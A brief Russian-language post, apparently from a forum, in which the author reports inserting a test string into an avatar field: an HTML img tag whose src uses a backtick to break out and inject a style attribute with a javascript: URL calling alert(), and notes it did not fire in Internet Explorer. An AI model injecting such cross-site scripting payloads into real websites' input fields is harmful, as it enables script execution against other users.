загнал в аватар тестовую строку
<img src="http://abc.ru/x.gif` style=`background:url(javascript:alert())" alt="" border="0" /><br /><br />

в IE не отработало